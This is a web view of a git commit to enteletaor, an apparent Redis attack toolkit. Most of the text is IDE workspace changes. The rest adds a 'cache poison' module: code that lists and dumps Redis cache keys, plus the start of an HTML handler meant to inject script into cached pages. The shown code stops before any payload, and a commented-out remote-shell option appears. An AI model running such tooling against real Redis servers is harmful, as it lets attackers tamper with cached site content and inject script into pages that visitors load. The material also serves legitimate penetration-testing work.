dash/enteletaor
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

Add: new redis attack - cache poison

Browse Source
This commit is contained in:
cr0hn
2016-02-18 02:35:58 +01:00
parent 538a6ed1e7
commit 8fb88f3a16
6 changed files with 307 additions and 130 deletions
Download Patch File Download Diff File Expand all files Collapse all files

246
.idea/workspace.xml generated
View File

@@ -2,9 +2,12 @@
<project version="4">
<component name="ChangeListManager">
<list default="true" id="f21e0167-ea6b-49ab-b506-bdd65f63e425" name="Default" comment="Minor fixes">
<change type="NEW" beforePath="" afterPath="$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_shell.py" />
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/.gitignore" afterPath="$PROJECT_DIR$/.gitignore" />
<change type="NEW" beforePath="" afterPath="$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_poison.py" />
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/.idea/workspace.xml" afterPath="$PROJECT_DIR$/.idea/workspace.xml" />
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/enteletaor_lib/modules/__init__.py" afterPath="$PROJECT_DIR$/enteletaor_lib/modules/__init__.py" />
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/enteletaor_lib/modules/redis/__init__.py" afterPath="$PROJECT_DIR$/enteletaor_lib/modules/redis/__init__.py" />
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/enteletaor_lib/modules/redis/cmd_actions.py" afterPath="$PROJECT_DIR$/enteletaor_lib/modules/redis/cmd_actions.py" />
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_dump.py" afterPath="$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_dump.py" />
</list>
<ignored path="Enteletaor.iws" />
<ignored path=".idea/workspace.xml" />
@@ -18,16 +21,17 @@
</component>
<component name="ChangesViewManager" flattened_view="true" show_ignored="false" />
<component name="CoverageDataManager">
<SUITE FILE_PATH="coverage/Enteletaor$prueba_docout.coverage" NAME="prueba_docout Coverage Results" MODIFIED="1453933562882" SOURCE_PROVIDER="com.intellij.coverage.DefaultCoverageFileProvider" RUNNER="coverage.py" COVERAGE_BY_TEST_ENABLED="true" COVERAGE_TRACING_ENABLED="false" WORKING_DIRECTORY="$USER_HOME$/Documents/Projects/Enteletaor" />
<SUITE FILE_PATH="coverage/Enteletaor$argsubparsers.coverage" NAME="argsubparsers Coverage Results" MODIFIED="1455616100673" SOURCE_PROVIDER="com.intellij.coverage.DefaultCoverageFileProvider" RUNNER="coverage.py" COVERAGE_BY_TEST_ENABLED="true" COVERAGE_TRACING_ENABLED="false" WORKING_DIRECTORY="$PROJECT_DIR$/enteletaor_lib" />
<SUITE FILE_PATH="coverage/Enteletaor$data.coverage" NAME="tester Coverage Results" MODIFIED="1455280795178" SOURCE_PROVIDER="com.intellij.coverage.DefaultCoverageFileProvider" RUNNER="coverage.py" COVERAGE_BY_TEST_ENABLED="true" COVERAGE_TRACING_ENABLED="false" WORKING_DIRECTORY="$PROJECT_DIR$/../stb-core/enteletaor_lib" />
<SUITE FILE_PATH="coverage/Enteletaor$enteletaor_module_redis_discover_db.coverage" NAME="enteletaor module redis discover-db Coverage Results" MODIFIED="1455716503611" SOURCE_PROVIDER="com.intellij.coverage.DefaultCoverageFileProvider" RUNNER="coverage.py" COVERAGE_BY_TEST_ENABLED="true" COVERAGE_TRACING_ENABLED="false" WORKING_DIRECTORY="$PROJECT_DIR$/enteletaor_lib" />
<SUITE FILE_PATH="coverage/Enteletaor$__init__.coverage" NAME="__init__ Coverage Results" MODIFIED="1453676626706" SOURCE_PROVIDER="com.intellij.coverage.DefaultCoverageFileProvider" RUNNER="coverage.py" COVERAGE_BY_TEST_ENABLED="true" COVERAGE_TRACING_ENABLED="false" WORKING_DIRECTORY="$USER_HOME$/Documents/Projects/Enteletaor/enteletaor_lib/modules" />
<SUITE FILE_PATH="coverage/Enteletaor$enteletaor_module_redis_disconnect.coverage" NAME="enteletaor module redis disconnect Coverage Results" MODIFIED="1455631616654" SOURCE_PROVIDER="com.intellij.coverage.DefaultCoverageFileProvider" RUNNER="coverage.py" COVERAGE_BY_TEST_ENABLED="true" COVERAGE_TRACING_ENABLED="false" WORKING_DIRECTORY="$PROJECT_DIR$/enteletaor_lib" />
<SUITE FILE_PATH="coverage/Enteletaor$enteletaor_proc_raw_dump.coverage" NAME="enteletaor proc raw-dump Coverage Results" MODIFIED="1455719827469" SOURCE_PROVIDER="com.intellij.coverage.DefaultCoverageFileProvider" RUNNER="coverage.py" COVERAGE_BY_TEST_ENABLED="true" COVERAGE_TRACING_ENABLED="false" WORKING_DIRECTORY="$PROJECT_DIR$/enteletaor_lib" />
<SUITE FILE_PATH="coverage/Enteletaor$enteletaor_module_redis_cache_poison.coverage" NAME="enteletaor module redis cache-poison Coverage Results" MODIFIED="1455758592277" SOURCE_PROVIDER="com.intellij.coverage.DefaultCoverageFileProvider" RUNNER="coverage.py" COVERAGE_BY_TEST_ENABLED="true" COVERAGE_TRACING_ENABLED="false" WORKING_DIRECTORY="$PROJECT_DIR$/enteletaor_lib" />
<SUITE FILE_PATH="coverage/Enteletaor$model.coverage" NAME="model Coverage Results" MODIFIED="1453853975150" SOURCE_PROVIDER="com.intellij.coverage.DefaultCoverageFileProvider" RUNNER="coverage.py" COVERAGE_BY_TEST_ENABLED="true" COVERAGE_TRACING_ENABLED="false" WORKING_DIRECTORY="$USER_HOME$/Documents/Projects/Enteletaor/enteletaor_lib/libs" />
<SUITE FILE_PATH="coverage/Enteletaor$enteletaor_module_dump.coverage" NAME="enteletaor module redis dump Coverage Results" MODIFIED="1455640099415" SOURCE_PROVIDER="com.intellij.coverage.DefaultCoverageFileProvider" RUNNER="coverage.py" COVERAGE_BY_TEST_ENABLED="true" COVERAGE_TRACING_ENABLED="false" WORKING_DIRECTORY="$PROJECT_DIR$/enteletaor_lib" />
<SUITE FILE_PATH="coverage/Enteletaor$enteletaor_web.coverage" NAME="enteletaor_web Coverage Results" MODIFIED="1453825208662" SOURCE_PROVIDER="com.intellij.coverage.DefaultCoverageFileProvider" RUNNER="coverage.py" COVERAGE_BY_TEST_ENABLED="true" COVERAGE_TRACING_ENABLED="false" WORKING_DIRECTORY="$USER_HOME$/Documents/Projects/Enteletaor" />
<SUITE FILE_PATH="coverage/Enteletaor$prueba_docout.coverage" NAME="prueba_docout Coverage Results" MODIFIED="1453933562882" SOURCE_PROVIDER="com.intellij.coverage.DefaultCoverageFileProvider" RUNNER="coverage.py" COVERAGE_BY_TEST_ENABLED="true" COVERAGE_TRACING_ENABLED="false" WORKING_DIRECTORY="$USER_HOME$/Documents/Projects/Enteletaor" />
<SUITE FILE_PATH="coverage/Enteletaor$argsubparsers.coverage" NAME="argsubparsers Coverage Results" MODIFIED="1455616100673" SOURCE_PROVIDER="com.intellij.coverage.DefaultCoverageFileProvider" RUNNER="coverage.py" COVERAGE_BY_TEST_ENABLED="true" COVERAGE_TRACING_ENABLED="false" WORKING_DIRECTORY="$PROJECT_DIR$/enteletaor_lib" />
<SUITE FILE_PATH="coverage/Enteletaor$enteletaor_module_redis_discover_db.coverage" NAME="enteletaor module redis discover-db Coverage Results" MODIFIED="1455716503611" SOURCE_PROVIDER="com.intellij.coverage.DefaultCoverageFileProvider" RUNNER="coverage.py" COVERAGE_BY_TEST_ENABLED="true" COVERAGE_TRACING_ENABLED="false" WORKING_DIRECTORY="$PROJECT_DIR$/enteletaor_lib" />
<SUITE FILE_PATH="coverage/Enteletaor$enteletaor_module_shell.coverage" NAME="enteletaor module shell Coverage Results" MODIFIED="1455636836919" SOURCE_PROVIDER="com.intellij.coverage.DefaultCoverageFileProvider" RUNNER="coverage.py" COVERAGE_BY_TEST_ENABLED="true" COVERAGE_TRACING_ENABLED="false" WORKING_DIRECTORY="$PROJECT_DIR$/enteletaor_lib" />
<SUITE FILE_PATH="coverage/Enteletaor$enteletaor.coverage" NAME="enteletaor Coverage Results" MODIFIED="1455617820233" SOURCE_PROVIDER="com.intellij.coverage.DefaultCoverageFileProvider" RUNNER="coverage.py" COVERAGE_BY_TEST_ENABLED="true" COVERAGE_TRACING_ENABLED="false" WORKING_DIRECTORY="$PROJECT_DIR$/enteletaor_lib" />
</component>
@@ -40,36 +44,17 @@
</component>
<component name="FileEditorManager">
<leaf>
<file leaf-file-name="proc_raw_dump.py" pinned="false" current-in-tab="false">
<entry file="file://$PROJECT_DIR$/enteletaor_lib/modules/proc/proc_raw_dump.py">
<file leaf-file-name="redis_poison.py" pinned="false" current-in-tab="true">
<entry file="file://$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_poison.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="41" column="0" selection-start-line="41" selection-start-column="0" selection-end-line="41" selection-end-column="0" />
<state vertical-scroll-proportion="0.27591464">
<caret line="66" column="0" selection-start-line="66" selection-start-column="0" selection-end-line="66" selection-end-column="0" />
<folding>
<element signature="e#25#35#0" expanded="true" />
</folding>
</state>
</provider>
</entry>
</file>
<file leaf-file-name=".gitignore" pinned="false" current-in-tab="true">
<entry file="file://$PROJECT_DIR$/.gitignore">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.3254818">
<caret line="8" column="5" selection-start-line="8" selection-start-column="5" selection-end-line="8" selection-end-column="5" />
<folding />
</state>
</provider>
</entry>
</file>
<file leaf-file-name="__init__.py" pinned="false" current-in-tab="false">
<entry file="file://$PROJECT_DIR$/enteletaor_lib/modules/__init__.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="18" column="0" selection-start-line="18" selection-start-column="0" selection-end-line="18" selection-end-column="0" />
<folding>
<element signature="e#25#35#0" expanded="true" />
<element signature="e#607#774#1" expanded="true" />
<element signature="e#24#39#0" expanded="true" />
<element signature="e#231#597#0" expanded="false" />
<element signature="e#698#816#0" expanded="false" />
<element signature="e#698#732#1" expanded="true" />
<element signature="e#924#957#1" expanded="true" />
</folding>
</state>
</provider>
@@ -93,7 +78,6 @@
<component name="IdeDocumentHistory">
<option name="CHANGED_PATHS">
<list>
<option value="$PROJECT_DIR$/../stb-core/enteletaor_lib/tmp_runner.py" />
<option value="$PROJECT_DIR$/../stb-core/enteletaor_lib/enteletaor_web.py" />
<option value="$PROJECT_DIR$/../stb-core/enteletaor_lib/libs/core/config.py" />
<option value="$PROJECT_DIR$/../stb-core/enteletaor_lib/api.py" />
@@ -129,21 +113,22 @@
<option value="$PROJECT_DIR$/enteletaor_lib/libs/core/structs.py" />
<option value="$PROJECT_DIR$/enteletaor_lib/libs/core/models.py" />
<option value="$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_info.py" />
<option value="$PROJECT_DIR$/enteletaor_lib/modules/__init__.py" />
<option value="$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_clients.py" />
<option value="$PROJECT_DIR$/enteletaor_lib/modules/redis/cmd_actions.py" />
<option value="$PROJECT_DIR$/enteletaor_lib/libs/core/cmd.py" />
<option value="$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_shell.py" />
<option value="$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_dump.py" />
<option value="$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_disconnect.py" />
<option value="$PROJECT_DIR$/enteletaor_lib/modules/redis/__init__.py" />
<option value="$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_discover_db.py" />
<option value="$PROJECT_DIR$/enteletaor_lib/modules/proc/proc_dump.py" />
<option value="$PROJECT_DIR$/enteletaor_lib/modules/proc/cmd_actions.py" />
<option value="$PROJECT_DIR$/ATTACKS.md" />
<option value="$PROJECT_DIR$/enteletaor_lib/modules/proc/__init__.py" />
<option value="$PROJECT_DIR$/enteletaor_lib/modules/proc/proc_raw_dump.py" />
<option value="$PROJECT_DIR$/.gitignore" />
<option value="$PROJECT_DIR$/enteletaor_lib/modules/proc/proc_raw_dump.py" />
<option value="$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_dump.py" />
<option value="$PROJECT_DIR$/enteletaor_lib/modules/__init__.py" />
<option value="$PROJECT_DIR$/enteletaor_lib/modules/redis/__init__.py" />
<option value="$PROJECT_DIR$/enteletaor_lib/modules/redis/cmd_actions.py" />
<option value="$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_poison.py" />
</list>
</option>
</component>
@@ -155,8 +140,8 @@
<component name="ProjectFrameBounds">
<option name="x" value="4" />
<option name="y" value="23" />
<option name="width" value="1916" />
<option name="height" value="1057" />
<option name="width" value="1276" />
<option name="height" value="777" />
</component>
<component name="ProjectLevelVcsManager" settingsEditedManually="false">
<OptionsSetting value="true" id="Add" />
@@ -301,14 +286,14 @@
<recent name="$USER_HOME$/Documents/Projects/Enteletaor/resources/web/static/img" />
</key>
<key name="CopyFile.RECENT_KEYS">
<recent name="$PROJECT_DIR$/enteletaor_lib/modules/proc" />
<recent name="$PROJECT_DIR$/enteletaor_lib/modules/redis" />
<recent name="$PROJECT_DIR$/enteletaor_lib/modules/proc" />
<recent name="$PROJECT_DIR$/enteletaor_lib/modules" />
<recent name="$PROJECT_DIR$/enteletaor_lib/modules/help" />
<recent name="$PROJECT_DIR$/../stb-core/enteletaor_lib/libs" />
</key>
</component>
<component name="RunManager" selected="Python.enteletaor proc raw-dump">
<component name="RunManager" selected="Python.enteletaor module redis cache-poison">
<configuration default="false" name="argsubparsers" type="PythonConfigurationType" factoryName="Python" temporary="true">
<option name="INTERPRETER_OPTIONS" value="" />
<option name="PARENT_ENVS" value="true" />
@@ -536,6 +521,24 @@
<option name="SHOW_COMMAND_LINE" value="false" />
<method />
</configuration>
<configuration default="false" name="enteletaor module redis cache-poison" type="PythonConfigurationType" factoryName="Python">
<option name="INTERPRETER_OPTIONS" value="" />
<option name="PARENT_ENVS" value="true" />
<envs>
<env name="PYTHONUNBUFFERED" value="1" />
</envs>
<option name="SDK_HOME" value="" />
<option name="WORKING_DIRECTORY" value="$PROJECT_DIR$/enteletaor_lib" />
<option name="IS_MODULE_SDK" value="true" />
<option name="ADD_CONTENT_ROOTS" value="true" />
<option name="ADD_SOURCE_ROOTS" value="true" />
<module name="enteletaor" />
<EXTENSION ID="PythonCoverageRunConfigurationExtension" enabled="false" sample_coverage="true" runner="coverage.py" />
<option name="SCRIPT_NAME" value="$PROJECT_DIR$/enteletaor_lib/enteletaor.py" />
<option name="PARAMETERS" value="-vvv redis cache --target=10.211.55.69" />
<option name="SHOW_COMMAND_LINE" value="false" />
<method />
</configuration>
<configuration default="false" name="enteletaor module redis discover-db" type="PythonConfigurationType" factoryName="Python">
<option name="INTERPRETER_OPTIONS" value="" />
<option name="PARENT_ENVS" value="true" />
@@ -608,14 +611,15 @@
<option name="SHOW_COMMAND_LINE" value="false" />
<method />
</configuration>
<list size="7">
<list size="8">
<item index="0" class="java.lang.String" itemvalue="Python.enteletaor" />
<item index="1" class="java.lang.String" itemvalue="Python.enteletaor module redis dump" />
<item index="2" class="java.lang.String" itemvalue="Python.enteletaor module redis discover-db" />
<item index="3" class="java.lang.String" itemvalue="Python.enteletaor module shell" />
<item index="4" class="java.lang.String" itemvalue="Python.enteletaor proc raw-dump" />
<item index="5" class="java.lang.String" itemvalue="Python.enteletaor module redis disconnect" />
<item index="6" class="java.lang.String" itemvalue="Python.argsubparsers" />
<item index="2" class="java.lang.String" itemvalue="Python.enteletaor module redis cache-poison" />
<item index="3" class="java.lang.String" itemvalue="Python.enteletaor module redis discover-db" />
<item index="4" class="java.lang.String" itemvalue="Python.enteletaor module shell" />
<item index="5" class="java.lang.String" itemvalue="Python.enteletaor proc raw-dump" />
<item index="6" class="java.lang.String" itemvalue="Python.enteletaor module redis disconnect" />
<item index="7" class="java.lang.String" itemvalue="Python.argsubparsers" />
</list>
<recent_temporary>
<list size="1">
@@ -659,7 +663,7 @@
<servers />
</component>
<component name="ToolWindowManager">
<frame x="4" y="23" width="1916" height="1057" extended-state="6" />
<frame x="4" y="23" width="1276" height="777" extended-state="6" />
<editor active="true" />
<layout>
<window_info id="TODO" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="6" side_tool="false" content_ui="tabs" />
@@ -667,14 +671,14 @@
<window_info id="Event Log" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.48808292" sideWeight="0.508547" order="7" side_tool="true" content_ui="tabs" />
<window_info id="Python Console" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.329927" sideWeight="0.5" order="7" side_tool="false" content_ui="tabs" />
<window_info id="Version Control" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.32953367" sideWeight="0.5" order="7" side_tool="false" content_ui="tabs" />
<window_info id="Run" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.3564767" sideWeight="0.4946581" order="2" side_tool="false" content_ui="tabs" />
<window_info id="Terminal" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="true" show_stripe_button="true" weight="0.34818652" sideWeight="0.4957265" order="7" side_tool="false" content_ui="tabs" />
<window_info id="Project" active="false" anchor="left" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="true" show_stripe_button="true" weight="0.1965812" sideWeight="0.5" order="0" side_tool="false" content_ui="tabs" />
<window_info id="Run" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.3562044" sideWeight="0.4946581" order="2" side_tool="false" content_ui="tabs" />
<window_info id="Terminal" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.34818652" sideWeight="0.4957265" order="7" side_tool="false" content_ui="tabs" />
<window_info id="Project" active="false" anchor="left" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.22564936" sideWeight="0.5" order="0" side_tool="false" content_ui="tabs" />
<window_info id="Database" active="false" anchor="right" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="3" side_tool="false" content_ui="tabs" />
<window_info id="Find" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.32746115" sideWeight="0.4957265" order="1" side_tool="false" content_ui="tabs" />
<window_info id="Structure" active="false" anchor="left" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.25" sideWeight="0.5" order="1" side_tool="false" content_ui="tabs" />
<window_info id="Favorites" active="false" anchor="left" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="2" side_tool="true" content_ui="tabs" />
<window_info id="Debug" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.5585492" sideWeight="0.491453" order="3" side_tool="false" content_ui="tabs" />
<window_info id="Debug" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.4729927" sideWeight="0.491453" order="3" side_tool="false" content_ui="tabs" />
<window_info id="Cvs" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.25" sideWeight="0.5" order="4" side_tool="false" content_ui="tabs" />
<window_info id="Message" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="0" side_tool="false" content_ui="tabs" />
<window_info id="Commander" active="false" anchor="right" auto_hide="false" internal_type="SLIDING" type="SLIDING" visible="false" show_stripe_button="true" weight="0.4" sideWeight="0.5" order="0" side_tool="false" content_ui="tabs" />
@@ -720,7 +724,7 @@
</properties>
</breakpoint>
</default-breakpoints>
<option name="time" value="250" />
<option name="time" value="279" />
</breakpoint-manager>
<watches-manager>
<configuration name="PythonConfigurationType">
@@ -729,13 +733,6 @@
</watches-manager>
</component>
<component name="editorHistoryManager">
<entry file="file://$USER_HOME$/.virtualenvs/enteletaor/lib/python3.4/site-packages/wtforms/__init__.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.08444444">
<caret line="14" column="0" selection-start-line="14" selection-start-column="0" selection-end-line="14" selection-end-column="0" />
</state>
</provider>
</entry>
<entry file="file://$USER_HOME$/.virtualenvs/enteletaor/lib/python3.4/_collections_abc.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.2823219">
@@ -1161,17 +1158,6 @@
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_dump.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="29" column="21" selection-start-line="29" selection-start-column="21" selection-end-line="29" selection-end-column="21" />
<folding>
<element signature="e#25#37#0" expanded="true" />
<element signature="e#678#714#1" expanded="true" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_clients.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.6333333">
@@ -1185,27 +1171,19 @@
<state vertical-scroll-proportion="0.39833334">
<caret line="26" column="57" selection-start-line="26" selection-start-column="57" selection-end-line="26" selection-end-column="57" />
<folding>
<element signature="e#25#35#0" expanded="true" />
<element signature="e#211#261#1" expanded="true" />
<element signature="e#25#35#0" expanded="false" />
<element signature="e#211#261#1" expanded="false" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/enteletaor_lib/modules/redis/cmd_actions.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.2451613">
<caret line="12" column="69" selection-start-line="12" selection-start-column="69" selection-end-line="12" selection-end-column="69" />
<folding />
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_discover_db.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.2451613">
<caret line="8" column="0" selection-start-line="8" selection-start-column="0" selection-end-line="8" selection-end-column="0" />
<folding>
<element signature="e#25#35#0" expanded="true" />
<element signature="e#206#242#1" expanded="true" />
<element signature="e#25#35#0" expanded="false" />
<element signature="e#206#242#1" expanded="false" />
</folding>
</state>
</provider>
@@ -1220,29 +1198,6 @@
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/enteletaor_lib/modules/redis/__init__.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.5209677">
<caret line="50" column="20" selection-start-line="50" selection-start-column="12" selection-end-line="50" selection-end-column="20" />
<folding>
<element signature="e#25#39#0" expanded="true" />
<element signature="e#686#818#0" expanded="false" />
<element signature="e#923#981#1" expanded="true" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/enteletaor_lib/modules/__init__.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="18" column="0" selection-start-line="18" selection-start-column="0" selection-end-line="18" selection-end-column="0" />
<folding>
<element signature="e#25#35#0" expanded="true" />
<element signature="e#607#774#1" expanded="true" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/ATTACKS.md">
<provider editor-type-id="MarkdownPreviewEditor">
<state />
@@ -1294,16 +1249,6 @@
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/enteletaor_lib/modules/proc/proc_raw_dump.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="41" column="0" selection-start-line="41" selection-start-column="0" selection-end-line="41" selection-end-column="0" />
<folding>
<element signature="e#25#35#0" expanded="true" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/.gitignore">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.3254818">
@@ -1312,5 +1257,70 @@
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_dump.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.11585366">
<caret line="4" column="0" selection-start-line="4" selection-start-column="0" selection-end-line="4" selection-end-column="0" />
<folding>
<element signature="e#25#37#0" expanded="true" />
<element signature="e#664#700#1" expanded="true" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/enteletaor_lib/modules/proc/proc_raw_dump.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.2682927">
<caret line="41" column="0" selection-start-line="41" selection-start-column="0" selection-end-line="41" selection-end-column="0" />
<folding>
<element signature="e#25#35#0" expanded="true" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/enteletaor_lib/modules/redis/__init__.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.38832998">
<caret line="43" column="39" selection-start-line="43" selection-start-column="39" selection-end-line="43" selection-end-column="39" />
<folding>
<element signature="e#25#39#0" expanded="true" />
<element signature="e#772#904#0" expanded="false" />
<element signature="e#1009#1067#1" expanded="true" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/enteletaor_lib/modules/__init__.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.14786585">
<caret line="16" column="0" selection-start-line="16" selection-start-column="0" selection-end-line="16" selection-end-column="0" />
<folding>
<element signature="e#580#747#1" expanded="true" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/enteletaor_lib/modules/redis/cmd_actions.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.40140846">
<caret line="8" column="5" selection-start-line="8" selection-start-column="5" selection-end-line="8" selection-end-column="5" />
<folding />
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_poison.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.27591464">
<caret line="66" column="0" selection-start-line="66" selection-start-column="0" selection-end-line="66" selection-end-column="0" />
<folding>
<element signature="e#24#39#0" expanded="true" />
<element signature="e#231#597#0" expanded="false" />
<element signature="e#698#816#0" expanded="false" />
<element signature="e#698#732#1" expanded="true" />
<element signature="e#924#957#1" expanded="true" />
</folding>
</state>
</provider>
</entry>
</component>
</project>

2
enteletaor_lib/modules/__init__.py
View File

@@ -1,8 +1,6 @@
# -*- coding: utf-8 -*-
import abc
import logging
import argparse
log = logging.getLogger(__name__)

20
enteletaor_lib/modules/redis/__init__.py
View File

@@ -6,13 +6,14 @@ from modules import IModule
from libs.core.models import StringField, IntegerField
from libs.core.structs import CommonData
from .cmd_actions import parser_redis_dump, parser_redis_server_disconnect
from .redis_dump import action_redis_dump
from .redis_shell import action_redis_shell
from .redis_info import action_redis_server_info
from .redis_poison import action_redis_cache_poison
from .redis_discover_db import action_redis_discover_dbs
from .redis_clients import action_redis_server_connected
from .redis_disconnect import action_redis_server_disconnect
from .redis_shell import action_redis_shell
from .redis_discover_db import action_redis_discover_dbs
from .cmd_actions import parser_redis_dump, parser_redis_server_disconnect, parser_redis_server_cache_poison
log = logging.getLogger()
@@ -52,14 +53,15 @@ class RedisModule(IModule):
action=action_redis_server_disconnect
),
'discover-dbs': dict(
help="discover all redis DBs at server",
help="discover all Redis DBs at server",
action=action_redis_discover_dbs
),
# 'shell': dict(
# help="open a remote os shell through the Redis server",
# action=action_redis_shell
# ),
'cache': dict(
help="poison remotes cache using Redis server",
action=action_redis_cache_poison,
cmd_args=parser_redis_server_cache_poison
),
}
name = "redis"
description = "some attacks over Redis service"
description = "some attacks over Redis service"

8
enteletaor_lib/modules/redis/cmd_actions.py
View File

@@ -20,3 +20,11 @@ def parser_redis_server_disconnect(parser):
parser.add_argument("--all", action="store_true", dest="disconnect_all", default=False,
help="disconnect all users")
# ----------------------------------------------------------------------
def parser_redis_server_cache_poison(parser):
parser.add_argument("--search", action="store_true", dest="search_cache", default=False,
help="try to find cache info stored in Redis")
parser.add_argument("--cache-key", action="store", dest="cache_key",
help="try to poisoning using selected key")

1
enteletaor_lib/modules/redis/redis_dump.py
View File

@@ -2,7 +2,6 @@
import redis
import logging
import pprint
log = logging.getLogger()

160
enteletaor_lib/modules/redis/redis_poison.py Normal file
View File

@@ -0,0 +1,160 @@
# -*- coding: utf-8 -*-
import binascii
import six
import redis
import logging
from lxml import etree
log = logging.getLogger()
# ----------------------------------------------------------------------
def dump_key(key, con):
key_type = con.type(key).lower()
val = None
if key_type in (b"kv", b"string"):
val = con.get(key)
if key_type == b"hash":
val = con.hgetall(key)
if key_type == b"zet":
val = con.zrange(key, 0, -1)
if key_type == b"set":
val = con.mget(key)
if val is not None:
if isinstance(val, list):
if val[0] is None:
return None
return val
return None
# ----------------------------------------------------------------------
def search_caches(con):
"""
Try to search cache keys
"""
found = False
for x in con.keys():
if "cache" in str(x).lower():
yield x
# ----------------------------------------------------------------------
def handle_html(config, content):
"""
Modify the HTML content
"""
# --------------------------------------------------------------------------
# Prepare info
# --------------------------------------------------------------------------
for i, x in enumerate(content):
if chr(x) == "<":
pos_ini = i
break
for i, x in enumerate(content[::-1]):
if chr(x) == ">":
pos_end = len(content) - i
break
if pos_ini is None or pos_end is None:
return None
# prefix = content[:pos_ini]
# suffix = content[pos_end:]
txt_content = content[pos_ini:pos_end]
# Parse input
tree = etree.fromstring(txt_content, etree.HTMLParser())
doc_root = tree.getroottree()
# Find an insert script injection
